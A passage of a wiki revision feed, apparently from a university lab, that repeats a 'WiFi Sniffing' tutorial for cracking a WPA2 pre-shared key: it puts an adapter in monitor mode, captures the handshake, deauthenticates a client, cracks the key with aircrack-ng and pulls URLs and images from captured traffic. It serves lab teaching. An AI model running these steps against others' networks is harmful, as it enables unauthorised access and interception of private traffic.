* https://www.aircrack-ng.org/doku.php?id=airodump-ng&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=injection_test&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=cracking_wpa&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>MMehlfuehrer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Sniffing&amp;diff=8259</id>
		<title>WiFi Sniffing</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Sniffing&amp;diff=8259"/>
		<updated>2021-12-17T12:22:39Z</updated>

		<summary type="html">&lt;p&gt;MMehlfuehrer: /* Step 4 - Use aircrack-ng to crack the key using the collected handshake */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
Sniff Wi-Fi traffic using wireless interfaces supporting [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] and [https://en.wikipedia.org/wiki/Packet_injection packet injection] (*). &lt;br /&gt;
WPA/WPA2 uses various types for authentication. Aircrack-ng is only capable of cracking pre-shared keys! Meaning only networks using PSK can be attacked. (To determine if a network uses PSK, airodump-ng is used). The method used to crack the pre-shared key is a plain brute force attack. This means the PSK needs to be in the used dictionary for the brute force attack. If it is not in the list, aircrack-ng can not determine the key.&lt;br /&gt;
For WPA/WPA2 cracking the initial 4-way handshake is needed. This handshake is conducted between a client and the AP, when a client tries to connect to the network.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: [https://www.kali.org/downloads/12/ Kali Linux 64 Bit]&lt;br /&gt;
* Wireless card: One that can inject packets [https://www.aircrack-ng.org/doku.php?id=injection_test Injection test]&lt;br /&gt;
*&lt;br /&gt;
&lt;br /&gt;
== Prerequisites==&lt;br /&gt;
&lt;br /&gt;
The following information of the hardware used is needed:&lt;br /&gt;
*MAC of a wireless client in the network: 34:B2:0A:7D:17:77&lt;br /&gt;
*BSSID: 68:02:B8:1F:A1:3A&lt;br /&gt;
*ESSID: WLAN18250073&lt;br /&gt;
*Channel used by AP: 11&lt;br /&gt;
*Wireless interface: wlan0mon&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
=== Overview ===&lt;br /&gt;
The following steps are needed to get the password:&lt;br /&gt;
&lt;br /&gt;
1) Use monitor mode on the wireless interface using the AP channel&lt;br /&gt;
&lt;br /&gt;
2) Using airodump-ng on AP channel, collecting needed handshake&lt;br /&gt;
&lt;br /&gt;
3) Use aireplay-ng to deauthenticate a wireless client in the network&lt;br /&gt;
&lt;br /&gt;
4) Use aircrack-ng to crack the key using the collected handshake&lt;br /&gt;
&lt;br /&gt;
=== Step 1 - Use monitor mode on the wireless interface using the AP channel ===&lt;br /&gt;
&lt;br /&gt;
To listen to every packet in the air the wireless card needs to be in monitor mode. If a wireless card is not in monitor mode it will only catch every packet addressed to itself. When listenting to every packet send an attacker eventually captures a 4-way handshake used to crack WPA/WPA2. Additionaly one can deauthenticate wireless clients, explained in a later step.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Depending on the driver used by the card, different methods need to used to enable monitor mode. This tutorial only shows the procedure for the madwifi-ng driver, for further information look at [https://www.aircrack-ng.org/doku.php?id=cracking_wpa aircrack-ng]&#039;s tutorial&lt;br /&gt;
&lt;br /&gt;
Open a terminal and type :&lt;br /&gt;
&lt;br /&gt;
 airmon-ng&lt;br /&gt;
&lt;br /&gt;
to determine the driver your card is using. The ouput with a wireless card from Atheros is the following:&lt;br /&gt;
&lt;br /&gt;
 PHY     Interface       Driver          Chipset&lt;br /&gt;
 phy0    wlan0           ath9k_htc       Qualcomm Atheros Communications AR9271 802.11n&lt;br /&gt;
&lt;br /&gt;
The next step is to switch to monitor mode. Syntax: airmon-ng start &amp;lt;interface&amp;gt; &amp;lt;channel used by AP&amp;gt;. Because we dont know the used channel from the AP we only start the monitoring mode without a specific channel:&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan0 &lt;br /&gt;
&lt;br /&gt;
Ouput:&lt;br /&gt;
&lt;br /&gt;
 Found 2 processes that could cause trouble.&lt;br /&gt;
 Kill them using &#039;airmon-ng check kill&#039; before putting&lt;br /&gt;
 the card in monitor mode, they will interfere by changing channels&lt;br /&gt;
 and sometimes putting the interface back in managed mode&lt;br /&gt;
    PID Name&lt;br /&gt;
    605 NetworkManager&lt;br /&gt;
   2948 wpa_supplicant&lt;br /&gt;
 PHY     Interface       Driver          Chipset&lt;br /&gt;
 phy0    wlan0mon        ath9k_htc       Qualcomm Atheros Communications AR9271 802.11n&lt;br /&gt;
                (mac80211 monitor mode already enabled for [phy0]wlan0mon on [phy0]wlan0mon)&lt;br /&gt;
&lt;br /&gt;
Now we can check if the interface is in monitormode using iwconfig:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
 lo        no wireless extensions.&lt;br /&gt;
 eth0      no wireless extensions.&lt;br /&gt;
 tun0      no wireless extensions.&lt;br /&gt;
 wlan0mon  IEEE 802.11  Mode:Monitor  Frequency:2.457 GHz  Tx-Power=20 dBm   &lt;br /&gt;
          Retry short limit:7   RTS thr:off   Fragment thr:off&lt;br /&gt;
          Power Management:off&lt;br /&gt;
&lt;br /&gt;
As we can see the interface changed the name from wlan0 to wlan0mon and uses the monitor mode. With airodump-ng &amp;lt;interface&amp;gt; we can monitor all AP&#039;s within reach. &lt;br /&gt;
&lt;br /&gt;
 airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
The output presented shows all AP&#039;s with information like ESSUD, BSSID, PWR, beacons, channels, encryption, cipher and authentication methods used&lt;br /&gt;
&lt;br /&gt;
 CH  4 ][ Elapsed: 1 min ][ 2021-12-17 10:40                                                                                                                                                                                        &lt;br /&gt;
 BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID                                                                                                                                                    &lt;br /&gt;
 68:02:B8:1F:A1:3A  -50       46       31    0  11  130   WPA2 CCMP   PSK  WLAN18250073&lt;br /&gt;
&lt;br /&gt;
Important for the further attack is the BSSID (69:02:B8:1F:A1:3A) and the used channel (11).&lt;br /&gt;
&lt;br /&gt;
=== Step 2 - Using airodump-ng on AP channel, collecting needed handshake ===&lt;br /&gt;
&lt;br /&gt;
Now we got the BSSID and channel of the AP we can start capturing the 4-way handshake. With the command airodump-ng -c &amp;lt;channel&amp;gt; --bssid &amp;lt;bssid&amp;gt; -w &amp;lt;filename&amp;gt;  &amp;lt;interface&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 airodump-ng -c 11 --bssid 68:02:B8:1F:A1:3A -w CapturedData wlan0mon&lt;br /&gt;
&lt;br /&gt;
Ouput:&lt;br /&gt;
&lt;br /&gt;
 CH 11 ][ Elapsed: 12 s ][ 2021-12-17 11:38                    4-Way Handshake CAPTURED                                                                                                                                                                                                                                                                                                                                                                                                                        &lt;br /&gt;
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID                                                                                                                                                                                                                                                                                                                                                                                               &lt;br /&gt;
 68:02:B8:1F:A1:3A  -48  24       63       62    2  11  130   WPA2 CCMP   PSK  WLAN18250073                                                                                                                                                                                                                                                                                           &lt;br /&gt;
 BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes                                                                                                                                                                                                                                                                                                                                                                                               &lt;br /&gt;
 68:02:B8:1F:A1:3A  5C:5F:67:29:51:76  -18    0e- 0e     3       62                                                                                                                                                                       &lt;br /&gt;
 68:02:B8:1F:A1:3A  66:60:B5:63:1F:B9  -58    0 - 1      0        2&lt;br /&gt;
&lt;br /&gt;
Note:&lt;br /&gt;
In the top right corner it says 4-way Handshake CAPTURED. This is just a placeholder edited in. Nothing is stated there until a handshake is captured. When captured is says: [WPA handshake: 68:02:B8:1F:A1:3A.#&lt;br /&gt;
&lt;br /&gt;
Now the tool starts collecting every packet from this AP. It can take quite a while, until a 4-way handshake is made. Step 3 helps to speed things up.&lt;br /&gt;
&lt;br /&gt;
=== Step 3 - Use aireplay-ng to deauthenticate a wireless client in the network ===&lt;br /&gt;
&lt;br /&gt;
A faster way to capture the 4-way handshake is to connect with an additional client to the wireless network manualy. When connecting to the new network, the AP starts the 4-way handshake. Because this is impractical an attacker can deauthenticate clients already connected to WiFi network to reinitialize the 4-way handshake. BSSID and MAC of the device to deauthenticate are needed to conduct the attack.&lt;br /&gt;
Deauthenication is started with aireplay-ng -0 &amp;lt;number of deauths to send&amp;gt; -a &amp;lt;BSSID&amp;gt; -c &amp;lt;MAC of client&amp;gt; &amp;lt;interface&amp;gt;.&lt;br /&gt;
It is important to state, that while a client is deauthenticated the tool used in Step 2 still needes to be running to capture the packets!&lt;br /&gt;
&lt;br /&gt;
 aireplay-ng -0 10 -a 69:02:B8:1F:A1:3A -c 34:B2:0A:7D:17:77 wlan0mon&lt;br /&gt;
&lt;br /&gt;
the output:&lt;br /&gt;
&lt;br /&gt;
 11:21:15  Waiting for beacon frame (BSSID: 68:02:B8:1F:A1:3A) on channel 11&lt;br /&gt;
 11:21:16  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|63 ACKs]&lt;br /&gt;
 11:21:17  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|54 ACKs]&lt;br /&gt;
 11:21:17  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|59 ACKs]&lt;br /&gt;
 11:21:18  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|73 ACKs]&lt;br /&gt;
 11:21:19  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|61 ACKs]&lt;br /&gt;
 11:21:20  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|52 ACKs]&lt;br /&gt;
 11:21:20  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|65 ACKs]&lt;br /&gt;
 11:21:21  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|60 ACKs]&lt;br /&gt;
 11:21:22  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|63 ACKs]&lt;br /&gt;
 11:21:22  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|66 ACKs]&lt;br /&gt;
&lt;br /&gt;
=== Step 4 - Use aircrack-ng to crack the key using the collected handshake ===&lt;br /&gt;
&lt;br /&gt;
In this step the captured 4-way handshake is used to crack the pre-shared key. The captured data is stored in a file called CapturedData (used in Step 2 : -w CapturedData).&lt;br /&gt;
One can use a dictionary which comes with aircrack-ng called &amp;quot;password.lst&amp;quot;. But for the sake of this tutorial i opened a file and wrote the password of the AP in it. Using the command:&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -w password.lst -b 69:02:B8:1F:A1:3A CapturedData*.cap&lt;br /&gt;
&lt;br /&gt;
-w password.lst is the used dictionary&lt;br /&gt;
-b is the BSSID of the AP&lt;br /&gt;
The wildcard at the end of CapturedData is because aircrack-ng created multiple files&lt;br /&gt;
&lt;br /&gt;
The ouput looks as follows:&lt;br /&gt;
 &lt;br /&gt;
                 [00:00:00] 2 keys tested (36.20 k/s)&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
                         KEY FOUND! [ AKITs1!]&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
    Master Key     : &amp;lt;Master Key&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
    Transcient Key : &amp;lt;Transcient Key&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
---------------------------------------------------------------&lt;br /&gt;
Display your wireless interfaces:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
Connect the external Wi-Fi adapter to your host computer.&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
The newly added interface in the list is the external adapter. In my case it was &#039;wlan1&#039;. In the following steps I refer to the external adapter as &#039;wlan1&#039;.&lt;br /&gt;
&lt;br /&gt;
Start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the external adapter (**):&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan1&lt;br /&gt;
&lt;br /&gt;
The previous command creates a new interface called &#039;wlan1mon&#039;. Verify with:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
Display active Wi-Fi networks:&lt;br /&gt;
&lt;br /&gt;
 airodump-ng wlan1mon&lt;br /&gt;
&lt;br /&gt;
Remember the channel of the network you want to attack. In my case it was channel 11.&lt;br /&gt;
&lt;br /&gt;
Set your adapter to the appropriate channel:&lt;br /&gt;
&lt;br /&gt;
 iwconfig wlan1mon channel 11&lt;br /&gt;
&lt;br /&gt;
Verify the frequency:&lt;br /&gt;
&lt;br /&gt;
 iwconfig wlan1mon&lt;br /&gt;
 iwlist channel&lt;br /&gt;
&lt;br /&gt;
Start capturing data:&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --channel 11 -w alfa wlan1mon&lt;br /&gt;
&lt;br /&gt;
Filter URLs from captured traffic:&lt;br /&gt;
&lt;br /&gt;
 urlsnarf -p alfa-01.cap&lt;br /&gt;
&lt;br /&gt;
Filter pictures from captured traffic:&lt;br /&gt;
&lt;br /&gt;
 driftnet -f alfa-01.cap -a -d Pictures/&lt;br /&gt;
&lt;br /&gt;
Disable [https://en.wikipedia.org/wiki/Monitor_mode monitor mode]:&lt;br /&gt;
&lt;br /&gt;
 airmon-ng stop wlan1mon&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
(*) Test if the adapter supports injection:&lt;br /&gt;
&lt;br /&gt;
 aireplay-ng -9 wlan1mon&lt;br /&gt;
&lt;br /&gt;
Detailed information about wireless adapters available in ELVIS can be found [[:File:WiFiAdapter.zip|here]].&lt;br /&gt;
&lt;br /&gt;
(**) This command did not work with [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter|ALFA NETWORK AWUS036ACH]] and [[Alfa AWUS036EAC AC1200 USB Wireless Adapter|ALFA NETWORK AWUS036EAC]]. The following commands are an alternative way to start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the adapter:&lt;br /&gt;
&lt;br /&gt;
 ifconfig wlan1 down&lt;br /&gt;
 iwconfig wlan1 mode monitor&lt;br /&gt;
 ifconfig wlan1 up&lt;br /&gt;
&lt;br /&gt;
== Results ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Browser                           !! urlsnarf                         !! driftnet&lt;br /&gt;
|-&lt;br /&gt;
| Microsoft Edge (Windows 10 host)  || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Mozilla Firefox (Windows 10 host) || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Google Chrome (Windows 10 host)   || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Google Chrome (Android host)      || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Samsung Internet (Android host)   || URLs captured                    || images captured&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* Windows 10 host&lt;br /&gt;
* Kali Linux host&lt;br /&gt;
* Samsung Galaxy A8&lt;br /&gt;
* [[LG Nexus 5X Google Smartphone 32 GB, Android 6.0 Marshmallow, Carbon]]&lt;br /&gt;
* [[Panda 300 Mbps Wireless N USB Adapter PAU05]]&lt;br /&gt;
* [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter]]&lt;br /&gt;
* [[Alfa AWUS036EAC AC1200 USB Wireless Adapter]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.androidauthority.com/capture-data-open-wi-fi-726356/&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=airmon-ng&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=airodump-ng&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=injection_test&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=cracking_wpa&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>MMehlfuehrer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Sniffing&amp;diff=8258</id>
		<title>WiFi Sniffing</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Sniffing&amp;diff=8258"/>
		<updated>2021-12-17T12:19:07Z</updated>

		<summary type="html">&lt;p&gt;MMehlfuehrer: /* Prerequisites */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
Sniff Wi-Fi traffic using wireless interfaces supporting [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] and [https://en.wikipedia.org/wiki/Packet_injection packet injection] (*). &lt;br /&gt;
WPA/WPA2 uses various types for authentication. Aircrack-ng is only capable of cracking pre-shared keys! Meaning only networks using PSK can be attacked. (To determine if a network uses PSK, airodump-ng is used). The method used to crack the pre-shared key is a plain brute force attack. This means the PSK needs to be in the used dictionary for the brute force attack. If it is not in the list, aircrack-ng can not determine the key.&lt;br /&gt;
For WPA/WPA2 cracking the initial 4-way handshake is needed. This handshake is conducted between a client and the AP, when a client tries to connect to the network.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: [https://www.kali.org/downloads/12/ Kali Linux 64 Bit]&lt;br /&gt;
* Wireless card: One that can inject packets [https://www.aircrack-ng.org/doku.php?id=injection_test Injection test]&lt;br /&gt;
*&lt;br /&gt;
&lt;br /&gt;
== Prerequisites==&lt;br /&gt;
&lt;br /&gt;
The following information of the hardware used is needed:&lt;br /&gt;
*MAC of a wireless client in the network: 34:B2:0A:7D:17:77&lt;br /&gt;
*BSSID: 68:02:B8:1F:A1:3A&lt;br /&gt;
*ESSID: WLAN18250073&lt;br /&gt;
*Channel used by AP: 11&lt;br /&gt;
*Wireless interface: wlan0mon&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
=== Overview ===&lt;br /&gt;
The following steps are needed to get the password:&lt;br /&gt;
&lt;br /&gt;
1) Use monitor mode on the wireless interface using the AP channel&lt;br /&gt;
&lt;br /&gt;
2) Using airodump-ng on AP channel, collecting needed handshake&lt;br /&gt;
&lt;br /&gt;
3) Use aireplay-ng to deauthenticate a wireless client in the network&lt;br /&gt;
&lt;br /&gt;
4) Use aircrack-ng to crack the key using the collected handshake&lt;br /&gt;
&lt;br /&gt;
=== Step 1 - Use monitor mode on the wireless interface using the AP channel ===&lt;br /&gt;
&lt;br /&gt;
To listen to every packet in the air the wireless card needs to be in monitor mode. If a wireless card is not in monitor mode it will only catch every packet addressed to itself. When listenting to every packet send an attacker eventually captures a 4-way handshake used to crack WPA/WPA2. Additionaly one can deauthenticate wireless clients, explained in a later step.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Depending on the driver used by the card, different methods need to used to enable monitor mode. This tutorial only shows the procedure for the madwifi-ng driver, for further information look at [https://www.aircrack-ng.org/doku.php?id=cracking_wpa aircrack-ng]&#039;s tutorial&lt;br /&gt;
&lt;br /&gt;
Open a terminal and type :&lt;br /&gt;
&lt;br /&gt;
 airmon-ng&lt;br /&gt;
&lt;br /&gt;
to determine the driver your card is using. The ouput with a wireless card from Atheros is the following:&lt;br /&gt;
&lt;br /&gt;
 PHY     Interface       Driver          Chipset&lt;br /&gt;
 phy0    wlan0           ath9k_htc       Qualcomm Atheros Communications AR9271 802.11n&lt;br /&gt;
&lt;br /&gt;
The next step is to switch to monitor mode. Syntax: airmon-ng start &amp;lt;interface&amp;gt; &amp;lt;channel used by AP&amp;gt;. Because we dont know the used channel from the AP we only start the monitoring mode without a specific channel:&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan0 &lt;br /&gt;
&lt;br /&gt;
Ouput:&lt;br /&gt;
&lt;br /&gt;
 Found 2 processes that could cause trouble.&lt;br /&gt;
 Kill them using &#039;airmon-ng check kill&#039; before putting&lt;br /&gt;
 the card in monitor mode, they will interfere by changing channels&lt;br /&gt;
 and sometimes putting the interface back in managed mode&lt;br /&gt;
    PID Name&lt;br /&gt;
    605 NetworkManager&lt;br /&gt;
   2948 wpa_supplicant&lt;br /&gt;
 PHY     Interface       Driver          Chipset&lt;br /&gt;
 phy0    wlan0mon        ath9k_htc       Qualcomm Atheros Communications AR9271 802.11n&lt;br /&gt;
                (mac80211 monitor mode already enabled for [phy0]wlan0mon on [phy0]wlan0mon)&lt;br /&gt;
&lt;br /&gt;
Now we can check if the interface is in monitormode using iwconfig:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
 lo        no wireless extensions.&lt;br /&gt;
 eth0      no wireless extensions.&lt;br /&gt;
 tun0      no wireless extensions.&lt;br /&gt;
 wlan0mon  IEEE 802.11  Mode:Monitor  Frequency:2.457 GHz  Tx-Power=20 dBm   &lt;br /&gt;
          Retry short limit:7   RTS thr:off   Fragment thr:off&lt;br /&gt;
          Power Management:off&lt;br /&gt;
&lt;br /&gt;
As we can see the interface changed the name from wlan0 to wlan0mon and uses the monitor mode. With airodump-ng &amp;lt;interface&amp;gt; we can monitor all AP&#039;s within reach. &lt;br /&gt;
&lt;br /&gt;
 airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
The output presented shows all AP&#039;s with information like ESSUD, BSSID, PWR, beacons, channels, encryption, cipher and authentication methods used&lt;br /&gt;
&lt;br /&gt;
 CH  4 ][ Elapsed: 1 min ][ 2021-12-17 10:40                                                                                                                                                                                        &lt;br /&gt;
 BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID                                                                                                                                                    &lt;br /&gt;
 68:02:B8:1F:A1:3A  -50       46       31    0  11  130   WPA2 CCMP   PSK  WLAN18250073&lt;br /&gt;
&lt;br /&gt;
Important for the further attack is the BSSID (69:02:B8:1F:A1:3A) and the used channel (11).&lt;br /&gt;
&lt;br /&gt;
=== Step 2 - Using airodump-ng on AP channel, collecting needed handshake ===&lt;br /&gt;
&lt;br /&gt;
Now we got the BSSID and channel of the AP we can start capturing the 4-way handshake. With the command airodump-ng -c &amp;lt;channel&amp;gt; --bssid &amp;lt;bssid&amp;gt; -w &amp;lt;filename&amp;gt;  &amp;lt;interface&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 airodump-ng -c 11 --bssid 68:02:B8:1F:A1:3A -w CapturedData wlan0mon&lt;br /&gt;
&lt;br /&gt;
Ouput:&lt;br /&gt;
&lt;br /&gt;
 CH 11 ][ Elapsed: 12 s ][ 2021-12-17 11:38                    4-Way Handshake CAPTURED                                                                                                                                                                                                                                                                                                                                                                                                                        &lt;br /&gt;
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID                                                                                                                                                                                                                                                                                                                                                                                               &lt;br /&gt;
 68:02:B8:1F:A1:3A  -48  24       63       62    2  11  130   WPA2 CCMP   PSK  WLAN18250073                                                                                                                                                                                                                                                                                           &lt;br /&gt;
 BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes                                                                                                                                                                                                                                                                                                                                                                                               &lt;br /&gt;
 68:02:B8:1F:A1:3A  5C:5F:67:29:51:76  -18    0e- 0e     3       62                                                                                                                                                                       &lt;br /&gt;
 68:02:B8:1F:A1:3A  66:60:B5:63:1F:B9  -58    0 - 1      0        2&lt;br /&gt;
&lt;br /&gt;
Note:&lt;br /&gt;
In the top right corner it says 4-way Handshake CAPTURED. This is just a placeholder edited in. Nothing is stated there until a handshake is captured. When captured is says: [WPA handshake: 68:02:B8:1F:A1:3A.#&lt;br /&gt;
&lt;br /&gt;
Now the tool starts collecting every packet from this AP. It can take quite a while, until a 4-way handshake is made. Step 3 helps to speed things up.&lt;br /&gt;
&lt;br /&gt;
=== Step 3 - Use aireplay-ng to deauthenticate a wireless client in the network ===&lt;br /&gt;
&lt;br /&gt;
A faster way to capture the 4-way handshake is to connect with an additional client to the wireless network manualy. When connecting to the new network, the AP starts the 4-way handshake. Because this is impractical an attacker can deauthenticate clients already connected to WiFi network to reinitialize the 4-way handshake. BSSID and MAC of the device to deauthenticate are needed to conduct the attack.&lt;br /&gt;
Deauthenication is started with aireplay-ng -0 &amp;lt;number of deauths to send&amp;gt; -a &amp;lt;BSSID&amp;gt; -c &amp;lt;MAC of client&amp;gt; &amp;lt;interface&amp;gt;.&lt;br /&gt;
It is important to state, that while a client is deauthenticated the tool used in Step 2 still needes to be running to capture the packets!&lt;br /&gt;
&lt;br /&gt;
 aireplay-ng -0 10 -a 69:02:B8:1F:A1:3A -c 34:B2:0A:7D:17:77 wlan0mon&lt;br /&gt;
&lt;br /&gt;
the output:&lt;br /&gt;
&lt;br /&gt;
 11:21:15  Waiting for beacon frame (BSSID: 68:02:B8:1F:A1:3A) on channel 11&lt;br /&gt;
 11:21:16  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|63 ACKs]&lt;br /&gt;
 11:21:17  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|54 ACKs]&lt;br /&gt;
 11:21:17  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|59 ACKs]&lt;br /&gt;
 11:21:18  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|73 ACKs]&lt;br /&gt;
 11:21:19  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|61 ACKs]&lt;br /&gt;
 11:21:20  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|52 ACKs]&lt;br /&gt;
 11:21:20  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|65 ACKs]&lt;br /&gt;
 11:21:21  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|60 ACKs]&lt;br /&gt;
 11:21:22  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|63 ACKs]&lt;br /&gt;
 11:21:22  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|66 ACKs]&lt;br /&gt;
&lt;br /&gt;
=== Step 4 - Use aircrack-ng to crack the key using the collected handshake ===&lt;br /&gt;
&lt;br /&gt;
In this step the captured 4-way handshake is used to crack the pre-shared key. The captured data is stored in a file called CapturedData (used in Step 2 : -w CapturedData).&lt;br /&gt;
One can use a dictionary which comes with aircrack-ng called &amp;quot;password.lst&amp;quot;. But for the sake of this tutorial i opened a file and wrote the password of the AP in it. Using the command:&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -w password.lst -b 69:02:B8:1F:A1:3A CapturedData*.cap&lt;br /&gt;
&lt;br /&gt;
-w password.lst is the used dictionary&lt;br /&gt;
-b is the BSSID of the AP&lt;br /&gt;
The wildcard at the end of CapturedData is because aircrack-ng created multiple files&lt;br /&gt;
&lt;br /&gt;
The ouput looks as follows:&lt;br /&gt;
&lt;br /&gt;
            Aircrack-ng 0.8&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
                 [00:00:00] 2 keys tested (37.20 k/s)&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
                         KEY FOUND! [ AKITs1!]&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
    Master Key     : &amp;lt;Master Key&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
    Transcient Key : &amp;lt;Transcient Key&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
---------------------------------------------------------------&lt;br /&gt;
Display your wireless interfaces:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
Connect the external Wi-Fi adapter to your host computer.&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
The newly added interface in the list is the external adapter. In my case it was &#039;wlan1&#039;. In the following steps I refer to the external adapter as &#039;wlan1&#039;.&lt;br /&gt;
&lt;br /&gt;
Start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the external adapter (**):&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan1&lt;br /&gt;
&lt;br /&gt;
The previous command creates a new interface called &#039;wlan1mon&#039;. Verify with:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
Display active Wi-Fi networks:&lt;br /&gt;
&lt;br /&gt;
 airodump-ng wlan1mon&lt;br /&gt;
&lt;br /&gt;
Remember the channel of the network you want to attack. In my case it was channel 11.&lt;br /&gt;
&lt;br /&gt;
Set your adapter to the appropriate channel:&lt;br /&gt;
&lt;br /&gt;
 iwconfig wlan1mon channel 11&lt;br /&gt;
&lt;br /&gt;
Verify the frequency:&lt;br /&gt;
&lt;br /&gt;
 iwconfig wlan1mon&lt;br /&gt;
 iwlist channel&lt;br /&gt;
&lt;br /&gt;
Start capturing data:&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --channel 11 -w alfa wlan1mon&lt;br /&gt;
&lt;br /&gt;
